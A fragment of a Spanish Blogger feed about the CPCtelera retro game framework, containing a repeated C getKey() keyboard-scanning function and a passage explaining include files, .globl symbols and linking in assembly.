rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8709076290827103618.post-7353576390782883731</id><published>2020-10-12T13:07:00.003-07:00</published><updated>2020-10-12T13:07:28.884-07:00</updated><title type='text'>Get key  cpctelera</title><content type='html'>&lt;p&gt;&amp;nbsp;&lt;span style=&quot;background-color: #eeeeff; font-family: &amp;quot;dejavu sans mono&amp;quot;, monaco, &amp;quot;lucida console&amp;quot;, &amp;quot;courier new&amp;quot;, monospace; font-size: x-small; white-space: nowrap;&quot;&gt;cpct_keyID getKey() {&lt;/span&gt;&lt;/p&gt;&lt;span style=&quot;background-color: #eeeeff; font-family: &amp;quot;dejavu sans mono&amp;quot;, monaco, &amp;quot;lucida console&amp;quot;, &amp;quot;courier new&amp;quot;, monospace; font-size: x-small; white-space: nowrap;&quot;&gt;&amp;nbsp; // Traverse the keystatus vector from end to start, to help&lt;/span&gt;&lt;br style=&quot;font-family: &amp;quot;dejavu sans mono&amp;quot;, monaco, &amp;quot;lucida console&amp;quot;, &amp;quot;courier new&amp;quot;, monospace; font-size: x-small; white-space: nowrap;&quot; /&gt;&lt;span style=&quot;background-color: #eeeeff; font-family: &amp;quot;dejavu sans mono&amp;quot;, monaco, &amp;quot;lucida console&amp;quot;, &amp;quot;courier new&amp;quot;, monospace; font-size: x-small; white-space: nowrap;&quot;&gt;&amp;nbsp; // the compiler better optimize this code&lt;/span&gt;&lt;br style=&quot;font-family: &amp;quot;dejavu sans mono&amp;quot;, monaco, &amp;quot;lucida console&amp;quot;, &amp;quot;courier new&amp;quot;, monospace; font-size: x-small; white-space: nowrap;&quot; /&gt;&lt;span style=&quot;background-color: #eeeeff; font-family: &amp;quot;dejavu sans mono&amp;quot;, monaco, &amp;quot;lucida console&amp;quot;, &amp;quot;courier new&amp;quot;, monospace; font-size: x-small; white-space: nowrap;&quot;&gt;&amp;nbsp; u8 i = 10, *keys = cpct_keyboardStatusBuffer + 9;&lt;/span&gt;&lt;br style=&quot;font-family: &amp;quot;dejavu sans mono&amp;quot;, monaco, &amp;quot;lucida console&amp;quot;, &amp;quot;courier new&amp;quot;, monospace; font-size: x-small; white-space: nowrap;&quot; /&gt;&lt;span style=&quot;background-color: #eeeeff; font-family: &amp;quot;dejavu sans mono&amp;quot;, monaco, &amp;quot;lucida console&amp;quot;, &amp;quot;courier new&amp;quot;, monospace; font-size: x-small; white-space: nowrap;&quot;&gt;&amp;nbsp; u16 keypressed;&lt;/span&gt;&lt;br style=&quot;font-family: &amp;quot;dejavu sans mono&amp;quot;, monaco, &amp;quot;lucida console&amp;quot;, &amp;quot;courier new&amp;quot;, monospace; font-size: x-small; white-space: nowrap;&quot; /&gt;&lt;span style=&quot;background-color: #eeeeff; font-family: &amp;quot;dejavu sans mono&amp;quot;, monaco, &amp;quot;lucida console&amp;quot;, &amp;quot;courier new&amp;quot;, monospace; font-size: x-small; white-space: nowrap;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;br style=&quot;font-family: &amp;quot;dejavu sans mono&amp;quot;, monaco, &amp;quot;lucida console&amp;quot;, &amp;quot;courier new&amp;quot;, monospace; font-size: x-small; white-space: nowrap;&quot; /&gt;&lt;span style=&quot;background-color: #eeeeff; font-family: &amp;quot;dejavu sans mono&amp;quot;, monaco, &amp;quot;lucida console&amp;quot;, &amp;quot;courier new&amp;quot;, monospace; font-size: x-small; white-space: nowrap;&quot;&gt;&amp;nbsp; // Wait for a keypress&lt;/span&gt;&lt;br style=&quot;font-family: &amp;quot;dejavu sans mono&amp;quot;, monaco, &amp;quot;lucida console&amp;quot;, &amp;quot;courier new&amp;quot;, monospace; font-size: x-small; white-space: nowrap;&quot; /&gt;&lt;span style=&quot;background-color: #eeeeff; font-family: &amp;quot;dejavu sans mono&amp;quot;, monaco, &amp;quot;lucida console&amp;quot;, &amp;quot;courier new&amp;quot;, monospace; font-size: x-small; white-space: nowrap;&quot;&gt;&amp;nbsp; do { cpct_scanKeyboard(); } while ( ! cpct_isAnyKeyPressed() );&lt;/span&gt;&lt;br style=&quot;font-family: &amp;quot;dejavu sans mono&amp;quot;, monaco, &amp;quot;lucida console&amp;quot;, &amp;quot;courier new&amp;quot;, monospace; font-size: x-small; white-space: nowrap;&quot; /&gt;&lt;br style=&quot;font-family: &amp;quot;dejavu sans mono&amp;quot;, monaco, &amp;quot;lucida console&amp;quot;, &amp;quot;courier new&amp;quot;, monospace; font-size: x-small; white-space: nowrap;&quot; /&gt;&lt;span style=&quot;background-color: #eeeeff; font-family: &amp;quot;dejavu sans mono&amp;quot;, monaco, &amp;quot;lucida console&amp;quot;, &amp;quot;courier new&amp;quot;, monospace; font-size: x-small; white-space: nowrap;&quot;&gt;&amp;nbsp; // Analyse which key has been pressed and return its keycode&lt;/span&gt;&lt;br style=&quot;font-family: &amp;quot;dejavu sans mono&amp;quot;, monaco, &amp;quot;lucida console&amp;quot;, &amp;quot;courier new&amp;quot;, monospace; font-size: x-small; white-space: nowrap;&quot; /&gt;&lt;span style=&quot;background-color: #eeeeff; font-family: &amp;quot;dejavu sans mono&amp;quot;, monaco, &amp;quot;lucida console&amp;quot;, &amp;quot;courier new&amp;quot;, monospace; font-size: x-small; white-space: nowrap;&quot;&gt;&amp;nbsp; do {&lt;/span&gt;&lt;br style=&quot;font-family: &amp;quot;dejavu sans mono&amp;quot;, monaco, &amp;quot;lucida console&amp;quot;, &amp;quot;courier new&amp;quot;, monospace; font-size: x-small; white-space: nowrap;&quot; /&gt;&lt;span style=&quot;background-color: #eeeeff; font-family: &amp;quot;dejavu sans mono&amp;quot;, monaco, &amp;quot;lucida console&amp;quot;, &amp;quot;courier new&amp;quot;, monospace; font-size: x-small; white-space: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; // We analyse groups of keys byte by byte (8 by 8, 1 bit per key)&lt;/span&gt;&lt;br style=&quot;font-family: &amp;quot;dejavu sans mono&amp;quot;, monaco, &amp;quot;lucida console&amp;quot;, &amp;quot;courier new&amp;quot;, monospace; font-size: x-small; white-space: nowrap;&quot; /&gt;&lt;span style=&quot;background-color: #eeeeff; font-family: &amp;quot;dejavu sans mono&amp;quot;, monaco, &amp;quot;lucida console&amp;quot;, &amp;quot;courier new&amp;quot;, monospace; font-size: x-small; white-space: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; // If no single key is pressed in this group, all bits will be on, and the byte will be 0xFF&lt;/span&gt;&lt;br style=&quot;font-family: &amp;quot;dejavu sans mono&amp;quot;, monaco, &amp;quot;lucida console&amp;quot;, &amp;quot;courier new&amp;quot;, monospace; font-size: x-small; white-space: nowrap;&quot; /&gt;&lt;span style=&quot;background-color: #eeeeff; font-family: &amp;quot;dejavu sans mono&amp;quot;, monaco, &amp;quot;lucida console&amp;quot;, &amp;quot;courier new&amp;quot;, monospace; font-size: x-small; white-space: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; // Then, XORing the byte with 0xFF will result in 0 unless some key from this group is pressed&lt;/span&gt;&lt;br style=&quot;font-family: &amp;quot;dejavu sans mono&amp;quot;, monaco, &amp;quot;lucida console&amp;quot;, &amp;quot;courier new&amp;quot;, monospace; font-size: x-small; white-space: nowrap;&quot; /&gt;&lt;span style=&quot;background-color: #eeeeff; font-family: &amp;quot;dejavu sans mono&amp;quot;, monaco, &amp;quot;lucida console&amp;quot;, &amp;quot;courier new&amp;quot;, monospace; font-size: x-small; white-space: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; keypressed = *keys ^ 0xFF;&lt;/span&gt;&lt;br style=&quot;font-family: &amp;quot;dejavu sans mono&amp;quot;, monaco, &amp;quot;lucida console&amp;quot;, &amp;quot;courier new&amp;quot;, monospace; font-size: x-small; white-space: nowrap;&quot; /&gt;&lt;span style=&quot;background-color: #eeeeff; font-family: &amp;quot;dejavu sans mono&amp;quot;, monaco, &amp;quot;lucida console&amp;quot;, &amp;quot;courier new&amp;quot;, monospace; font-size: x-small; white-space: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; if (keypressed)&lt;/span&gt;&lt;br style=&quot;font-family: &amp;quot;dejavu sans mono&amp;quot;, monaco, &amp;quot;lucida console&amp;quot;, &amp;quot;courier new&amp;quot;, monospace; font-size: x-small; white-space: nowrap;&quot; /&gt;&lt;span style=&quot;background-color: #eeeeff; font-family: &amp;quot;dejavu sans mono&amp;quot;, monaco, &amp;quot;lucida console&amp;quot;, &amp;quot;courier new&amp;quot;, monospace; font-size: x-small; white-space: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;return (keypressed &amp;lt;&amp;lt; 8) + (i - 1); // Convert to cpct_keyID format: 8 first bits = key mask, 8 next bits, keyboard row (0-9)&lt;/span&gt;&lt;br style=&quot;font-family: &amp;quot;dejavu sans mono&amp;quot;, monaco, &amp;quot;lucida console&amp;quot;, &amp;quot;courier new&amp;quot;, monospace; font-size: x-small; white-space: nowrap;&quot; /&gt;&lt;span style=&quot;background-color: #eeeeff; font-family: &amp;quot;dejavu sans mono&amp;quot;, monaco, &amp;quot;lucida console&amp;quot;, &amp;quot;courier new&amp;quot;, monospace; font-size: x-small; white-space: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; --keys;&lt;/span&gt;&lt;br style=&quot;font-family: &amp;quot;dejavu sans mono&amp;quot;, monaco, &amp;quot;lucida console&amp;quot;, &amp;quot;courier new&amp;quot;, monospace; font-size: x-small; white-space: nowrap;&quot; /&gt;&lt;span style=&quot;background-color: #eeeeff; font-family: &amp;quot;dejavu sans mono&amp;quot;, monaco, &amp;quot;lucida console&amp;quot;, &amp;quot;courier new&amp;quot;, monospace; font-size: x-small; white-space: nowrap;&quot;&gt;&amp;nbsp; } while(--i);&lt;/span&gt;&lt;br style=&quot;font-family: &amp;quot;dejavu sans mono&amp;quot;, monaco, &amp;quot;lucida console&amp;quot;, &amp;quot;courier new&amp;quot;, monospace; font-size: x-small; white-space: nowrap;&quot; /&gt;&lt;br style=&quot;font-family: &amp;quot;dejavu sans mono&amp;quot;, monaco, &amp;quot;lucida console&amp;quot;, &amp;quot;courier new&amp;quot;, monospace; font-size: x-small; white-space: nowrap;&quot; /&gt;&lt;span style=&quot;background-color: #eeeeff; font-family: &amp;quot;dejavu sans mono&amp;quot;, monaco, &amp;quot;lucida console&amp;quot;, &amp;quot;courier new&amp;quot;, monospace; font-size: x-small; white-space: nowrap;&quot;&gt;&amp;nbsp; // No key was pressed&lt;/span&gt;&lt;br style=&quot;font-family: &amp;quot;dejavu sans mono&amp;quot;, monaco, &amp;quot;lucida console&amp;quot;, &amp;quot;courier new&amp;quot;, monospace; font-size: x-small; white-space: nowrap;&quot; /&gt;&lt;span style=&quot;background-color: #eeeeff; font-family: &amp;quot;dejavu sans mono&amp;quot;, monaco, &amp;quot;lucida console&amp;quot;, &amp;quot;courier new&amp;quot;, monospace; font-size: x-small; white-space: nowrap;&quot;&gt;&amp;nbsp; return 0;&lt;/span&gt;&lt;br style=&quot;font-family: &amp;quot;dejavu sans mono&amp;quot;, monaco, &amp;quot;lucida console&amp;quot;, &amp;quot;courier new&amp;quot;, monospace; font-size: x-small; white-space: nowrap;&quot; /&gt;&lt;span style=&quot;background-color: #eeeeff; font-family: &amp;quot;dejavu sans mono&amp;quot;, monaco, &amp;quot;lucida console&amp;quot;, &amp;quot;courier new&amp;quot;, monospace; font-size: x-small; white-space: nowrap;&quot;&gt;}&lt;/span&gt;</content><link rel='replies' type='application/atom+xml' href='http://ayvadios.blogspot.com/feeds/7353576390782883731/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://ayvadios.blogspot.com/2020/10/get-key-cpctelera.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8709076290827103618/posts/default/7353576390782883731'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8709076290827103618/posts/default/7353576390782883731'/><link rel='alternate' type='text/html' href='http://ayvadios.blogspot.com/2020/10/get-key-cpctelera.html' title='Get key  cpctelera'/><author><name>raul</name><uri>http://www.blogger.com/profile/09682677312131647739</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8709076290827103618.post-2344159753918361415</id><published>2020-10-12T13:06:00.001-07:00</published><updated>2020-12-08T03:07:20.520-08:00</updated><title type='text'></title><content type='html'>&lt;p&gt;&amp;nbsp;&lt;span style=&quot;background-color: #eeeeff; font-family: &amp;quot;dejavu sans mono&amp;quot;, monaco, &amp;quot;lucida console&amp;quot;, &amp;quot;courier new&amp;quot;, monospace; font-size: x-small; white-space: nowrap;&quot;&gt;cpct_keyID getKey() {&lt;/span&gt;&lt;/p&gt;&lt;span style=&quot;background-color: #eeeeff; font-family: &amp;quot;dejavu sans mono&amp;quot;, monaco, &amp;quot;lucida console&amp;quot;, &amp;quot;courier new&amp;quot;, monospace; font-size: x-small; white-space: nowrap;&quot;&gt;&amp;nbsp; // Traverse the keystatus vector from end to start, to help&lt;/span&gt;&lt;br style=&quot;font-family: &amp;quot;dejavu sans mono&amp;quot;, monaco, &amp;quot;lucida console&amp;quot;, &amp;quot;courier new&amp;quot;, monospace; font-size: x-small; white-space: nowrap;&quot; /&gt;&lt;span style=&quot;background-color: #eeeeff; font-family: &amp;quot;dejavu sans mono&amp;quot;, monaco, &amp;quot;lucida console&amp;quot;, &amp;quot;courier new&amp;quot;, monospace; font-size: x-small; white-space: nowrap;&quot;&gt;&amp;nbsp; // the compiler better optimize this code&lt;/span&gt;&lt;br style=&quot;font-family: &amp;quot;dejavu sans mono&amp;quot;, monaco, &amp;quot;lucida console&amp;quot;, &amp;quot;courier new&amp;quot;, monospace; font-size: x-small; white-space: nowrap;&quot; /&gt;&lt;span style=&quot;background-color: #eeeeff; font-family: &amp;quot;dejavu sans mono&amp;quot;, monaco, &amp;quot;lucida console&amp;quot;, &amp;quot;courier new&amp;quot;, monospace; font-size: x-small; white-space: nowrap;&quot;&gt;&amp;nbsp; u8 i = 10, *keys = cpct_keyboardStatusBuffer + 9;&lt;/span&gt;&lt;br style=&quot;font-family: &amp;quot;dejavu sans mono&amp;quot;, monaco, &amp;quot;lucida console&amp;quot;, &amp;quot;courier new&amp;quot;, monospace; font-size: x-small; white-space: nowrap;&quot; /&gt;&lt;span style=&quot;background-color: #eeeeff; font-family: &amp;quot;dejavu sans mono&amp;quot;, monaco, &amp;quot;lucida console&amp;quot;, &amp;quot;courier new&amp;quot;, monospace; font-size: x-small; white-space: nowrap;&quot;&gt;&amp;nbsp; u16 keypressed;&lt;/span&gt;&lt;br style=&quot;font-family: &amp;quot;dejavu sans mono&amp;quot;, monaco, &amp;quot;lucida console&amp;quot;, &amp;quot;courier new&amp;quot;, monospace; font-size: x-small; white-space: nowrap;&quot; /&gt;&lt;span style=&quot;background-color: #eeeeff; font-family: &amp;quot;dejavu sans mono&amp;quot;, monaco, &amp;quot;lucida console&amp;quot;, &amp;quot;courier new&amp;quot;, monospace; font-size: x-small; white-space: nowrap;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;br style=&quot;font-family: &amp;quot;dejavu sans mono&amp;quot;, monaco, &amp;quot;lucida console&amp;quot;, &amp;quot;courier new&amp;quot;, monospace; font-size: x-small; white-space: nowrap;&quot; /&gt;&lt;span style=&quot;background-color: #eeeeff; font-family: &amp;quot;dejavu sans mono&amp;quot;, monaco, &amp;quot;lucida console&amp;quot;, &amp;quot;courier new&amp;quot;, monospace; font-size: x-small; white-space: nowrap;&quot;&gt;&amp;nbsp; // Wait for a keypress&lt;/span&gt;&lt;br style=&quot;font-family: &amp;quot;dejavu sans mono&amp;quot;, monaco, &amp;quot;lucida console&amp;quot;, &amp;quot;courier new&amp;quot;, monospace; font-size: x-small; white-space: nowrap;&quot; /&gt;&lt;span style=&quot;background-color: #eeeeff; font-family: &amp;quot;dejavu sans mono&amp;quot;, monaco, &amp;quot;lucida console&amp;quot;, &amp;quot;courier new&amp;quot;, monospace; font-size: x-small; white-space: nowrap;&quot;&gt;&amp;nbsp; do { cpct_scanKeyboard(); } while ( ! cpct_isAnyKeyPressed() );&lt;/span&gt;&lt;br style=&quot;font-family: &amp;quot;dejavu sans mono&amp;quot;, monaco, &amp;quot;lucida console&amp;quot;, &amp;quot;courier new&amp;quot;, monospace; font-size: x-small; white-space: nowrap;&quot; /&gt;&lt;br style=&quot;font-family: &amp;quot;dejavu sans mono&amp;quot;, monaco, &amp;quot;lucida console&amp;quot;, &amp;quot;courier new&amp;quot;, monospace; font-size: x-small; white-space: nowrap;&quot; /&gt;&lt;span style=&quot;background-color: #eeeeff; font-family: &amp;quot;dejavu sans mono&amp;quot;, monaco, &amp;quot;lucida console&amp;quot;, &amp;quot;courier new&amp;quot;, monospace; font-size: x-small; white-space: nowrap;&quot;&gt;&amp;nbsp; // Analyse which key has been pressed and return its keycode&lt;/span&gt;&lt;br style=&quot;font-family: &amp;quot;dejavu sans mono&amp;quot;, monaco, &amp;quot;lucida console&amp;quot;, &amp;quot;courier new&amp;quot;, monospace; font-size: x-small; white-space: nowrap;&quot; /&gt;&lt;span style=&quot;background-color: #eeeeff; font-family: &amp;quot;dejavu sans mono&amp;quot;, monaco, &amp;quot;lucida console&amp;quot;, &amp;quot;courier new&amp;quot;, monospace; font-size: x-small; white-space: nowrap;&quot;&gt;&amp;nbsp; do {&lt;/span&gt;&lt;br style=&quot;font-family: &amp;quot;dejavu sans mono&amp;quot;, monaco, &amp;quot;lucida console&amp;quot;, &amp;quot;courier new&amp;quot;, monospace; font-size: x-small; white-space: nowrap;&quot; /&gt;&lt;span style=&quot;background-color: #eeeeff; font-family: &amp;quot;dejavu sans mono&amp;quot;, monaco, &amp;quot;lucida console&amp;quot;, &amp;quot;courier new&amp;quot;, monospace; font-size: x-small; white-space: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; // We analyse groups of keys byte by byte (8 by 8, 1 bit per key)&lt;/span&gt;&lt;br style=&quot;font-family: &amp;quot;dejavu sans mono&amp;quot;, monaco, &amp;quot;lucida console&amp;quot;, &amp;quot;courier new&amp;quot;, monospace; font-size: x-small; white-space: nowrap;&quot; /&gt;&lt;span style=&quot;background-color: #eeeeff; font-family: &amp;quot;dejavu sans mono&amp;quot;, monaco, &amp;quot;lucida console&amp;quot;, &amp;quot;courier new&amp;quot;, monospace; font-size: x-small; white-space: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; // If no single key is pressed in this group, all bits will be on, and the byte will be 0xFF&lt;/span&gt;&lt;br style=&quot;font-family: &amp;quot;dejavu sans mono&amp;quot;, monaco, &amp;quot;lucida console&amp;quot;, &amp;quot;courier new&amp;quot;, monospace; font-size: x-small; white-space: nowrap;&quot; /&gt;&lt;span style=&quot;background-color: #eeeeff; font-family: &amp;quot;dejavu sans mono&amp;quot;, monaco, &amp;quot;lucida console&amp;quot;, &amp;quot;courier new&amp;quot;, monospace; font-size: x-small; white-space: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; // Then, XORing the byte with 0xFF will result in 0 unless some key from this group is pressed&lt;/span&gt;&lt;br style=&quot;font-family: &amp;quot;dejavu sans mono&amp;quot;, monaco, &amp;quot;lucida console&amp;quot;, &amp;quot;courier new&amp;quot;, monospace; font-size: x-small; white-space: nowrap;&quot; /&gt;&lt;span style=&quot;background-color: #eeeeff; font-family: &amp;quot;dejavu sans mono&amp;quot;, monaco, &amp;quot;lucida console&amp;quot;, &amp;quot;courier new&amp;quot;, monospace; font-size: x-small; white-space: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; keypressed = *keys ^ 0xFF;&lt;/span&gt;&lt;br style=&quot;font-family: &amp;quot;dejavu sans mono&amp;quot;, monaco, &amp;quot;lucida console&amp;quot;, &amp;quot;courier new&amp;quot;, monospace; font-size: x-small; white-space: nowrap;&quot; /&gt;&lt;span style=&quot;background-color: #eeeeff; font-family: &amp;quot;dejavu sans mono&amp;quot;, monaco, &amp;quot;lucida console&amp;quot;, &amp;quot;courier new&amp;quot;, monospace; font-size: x-small; white-space: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; if (keypressed)&lt;/span&gt;&lt;br style=&quot;font-family: &amp;quot;dejavu sans mono&amp;quot;, monaco, &amp;quot;lucida console&amp;quot;, &amp;quot;courier new&amp;quot;, monospace; font-size: x-small; white-space: nowrap;&quot; /&gt;&lt;span style=&quot;background-color: #eeeeff; font-family: &amp;quot;dejavu sans mono&amp;quot;, monaco, &amp;quot;lucida console&amp;quot;, &amp;quot;courier new&amp;quot;, monospace; font-size: x-small; white-space: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;return (keypressed &amp;lt;&amp;lt; 8) + (i - 1); // Convert to cpct_keyID format: 8 first bits = key mask, 8 next bits, keyboard row (0-9)&lt;/span&gt;&lt;br style=&quot;font-family: &amp;quot;dejavu sans mono&amp;quot;, monaco, &amp;quot;lucida console&amp;quot;, &amp;quot;courier new&amp;quot;, monospace; font-size: x-small; white-space: nowrap;&quot; /&gt;&lt;span style=&quot;background-color: #eeeeff; font-family: &amp;quot;dejavu sans mono&amp;quot;, monaco, &amp;quot;lucida console&amp;quot;, &amp;quot;courier new&amp;quot;, monospace; font-size: x-small; white-space: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; --keys;&lt;/span&gt;&lt;br style=&quot;font-family: &amp;quot;dejavu sans mono&amp;quot;, monaco, &amp;quot;lucida console&amp;quot;, &amp;quot;courier new&amp;quot;, monospace; font-size: x-small; white-space: nowrap;&quot; /&gt;&lt;span style=&quot;background-color: #eeeeff; font-family: &amp;quot;dejavu sans mono&amp;quot;, monaco, &amp;quot;lucida console&amp;quot;, &amp;quot;courier new&amp;quot;, monospace; font-size: x-small; white-space: nowrap;&quot;&gt;&amp;nbsp; } while(--i);&lt;/span&gt;&lt;br style=&quot;font-family: &amp;quot;dejavu sans mono&amp;quot;, monaco, &amp;quot;lucida console&amp;quot;, &amp;quot;courier new&amp;quot;, monospace; font-size: x-small; white-space: nowrap;&quot; /&gt;&lt;br style=&quot;font-family: &amp;quot;dejavu sans mono&amp;quot;, monaco, &amp;quot;lucida console&amp;quot;, &amp;quot;courier new&amp;quot;, monospace; font-size: x-small; white-space: nowrap;&quot; /&gt;&lt;span style=&quot;background-color: #eeeeff; font-family: &amp;quot;dejavu sans mono&amp;quot;, monaco, &amp;quot;lucida console&amp;quot;, &amp;quot;courier new&amp;quot;, monospace; font-size: x-small; white-space: nowrap;&quot;&gt;&amp;nbsp; // No key was pressed&lt;/span&gt;&lt;br style=&quot;font-family: &amp;quot;dejavu sans mono&amp;quot;, monaco, &amp;quot;lucida console&amp;quot;, &amp;quot;courier new&amp;quot;, monospace; font-size: x-small; white-space: nowrap;&quot; /&gt;&lt;span style=&quot;background-color: #eeeeff; font-family: &amp;quot;dejavu sans mono&amp;quot;, monaco, &amp;quot;lucida console&amp;quot;, &amp;quot;courier new&amp;quot;, monospace; font-size: x-small; white-space: nowrap;&quot;&gt;&amp;nbsp; return 0;&lt;/span&gt;&lt;br style=&quot;font-family: &amp;quot;dejavu sans mono&amp;quot;, monaco, &amp;quot;lucida console&amp;quot;, &amp;quot;courier new&amp;quot;, monospace; font-size: x-small; white-space: nowrap;&quot; /&gt;&lt;span style=&quot;background-color: #eeeeff; font-family: &amp;quot;dejavu sans mono&amp;quot;, monaco, &amp;quot;lucida console&amp;quot;, &amp;quot;courier new&amp;quot;, monospace; font-size: x-small; white-space: nowrap;&quot;&gt;}&lt;/span&gt;</content><link rel='replies' type='application/atom+xml' href='http://ayvadios.blogspot.com/feeds/2344159753918361415/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://ayvadios.blogspot.com/2020/10/blog-post.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8709076290827103618/posts/default/2344159753918361415'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8709076290827103618/posts/default/2344159753918361415'/><link rel='alternate' type='text/html' href='http://ayvadios.blogspot.com/2020/10/blog-post.html' title=''/><author><name>raul</name><uri>http://www.blogger.com/profile/09682677312131647739</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8709076290827103618.post-8417348347324878848</id><published>2020-10-11T02:59:00.003-07:00</published><updated>2020-10-11T02:59:33.907-07:00</updated><title type='text'>Includes en cpctelera</title><content type='html'>&lt;p&gt;&amp;nbsp;Fran Gallego:&lt;/p&gt;&lt;p&gt;include hace lo que todos los includes hacen en cualquier lenguaje&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;es lo mismo que si copiaras y pegaras el archivo que incluyes&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Pero es que eso es idéntico en C y en C++&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Por eso, se usa para incluir sólo declaraciones, no definiciones&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Como en C&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;no pones en los ficheros de cabecera definiciones&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;sólo declaraciones&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;El concepto es el mismo&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Todos los ficheros se compilan siempre por separado&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;ningún fichero sabe nada de que existan otros ficheros&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Entonces, cuando quieres usar un símbolo que está en otro fichero&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;simplemente en el fichero que lo vas a usar, lo declaras&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Para que el ensamblador sepa que ese símbolo existe, aunque no sepa cuánto vale&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Es después, cuando el linker recoge todos los ficheros compilados intermedios y los junta&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;cuando mira dónde está cada símbolo&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Si tienes dos ficheros F1 y F2&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Con esta estructura de símbolos&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;F1&lt;/p&gt;&lt;p&gt;&amp;nbsp; etiqueta1::&lt;/p&gt;&lt;p&gt;&amp;nbsp; etiqueta2::&lt;/p&gt;&lt;p&gt;F2&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp; otra1::&lt;/p&gt;&lt;p&gt;&amp;nbsp; otra2::&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;F1 y F2 se ensamblan por separado, individualmente&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;ninguno sabe de la existencia del otro&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Así que si quieres que F1 pueda usar la etiqueta &quot;otra2&quot;, por ejemplo&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;harías esto&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;F1&lt;/p&gt;&lt;p&gt;&amp;nbsp; .globl otra2&lt;/p&gt;&lt;p&gt;&amp;nbsp; etiqueta1::&lt;/p&gt;&lt;p&gt;&amp;nbsp; etiqueta2::&lt;/p&gt;&lt;p&gt;F2&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp; otra1::&lt;/p&gt;&lt;p&gt;&amp;nbsp; otra2::&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Simplemente, le dices al ensamblador &quot;existe un símbolo otra2, que es global&quot;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Y lo usas&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;como lo que haces con las llamadas a las funciones de CPCtelera&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;que son etiquetas, que no están en tu código&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Si ahora resulta que tienes una etiqueta &quot;cpct_doGame&quot;, que vas a usar tanto en F1 como F2&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;harías esto&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;F1&lt;/p&gt;&lt;p&gt;&amp;nbsp; .globl cpct_doGame&lt;/p&gt;&lt;p&gt;&amp;nbsp; etiqueta1::&lt;/p&gt;&lt;p&gt;&amp;nbsp; 